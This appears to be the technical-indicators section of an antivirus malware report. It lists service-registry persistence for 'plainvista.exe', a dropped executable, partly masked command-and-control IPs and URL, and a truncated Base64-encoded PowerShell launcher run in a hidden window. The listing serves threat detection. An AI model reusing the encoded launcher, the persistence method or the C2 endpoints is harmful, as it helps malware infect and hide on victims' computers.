Technical Information
- [<HKLM>\System\CurrentControlSet\Services\plainvista] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\plainvista] 'ImagePath' = '"%WINDIR%\SysWOW64\plainvista.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enc PAAjACAAVQB2AGsAYgBsAHYAcgBjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAEYAaABuAHQAYQBxAG0AbABxAHIAZwAgACMAPgAgACQASAB5AGMAeABxAGcAeABqAG0APQAnAFIAawBlAGsAYgBi...
- %HOMEPATH%\407.exe
- from %HOMEPATH%\407.exe to %WINDIR%\syswow64\plainvista.exe
- '85.##.138.55':8080
- '21#.#29.24.79':8080
- http://21#.##9.24.79:8080/ringin/pnp/
- DNS ASK pe###otics.com
- '%HOMEPATH%\407.exe'
- '%WINDIR%\syswow64\plainvista.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enc PAAjACAAVQB2AGsAYgBsAHYAcgBjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAEYAaABuAHQAYQBxAG0AbABxAHIAZwAgACMAPgAgACQASAB5AGMAeABxAGcAeABqAG0APQAnAFIAawBlAGsAYgBi...' (with hidden window)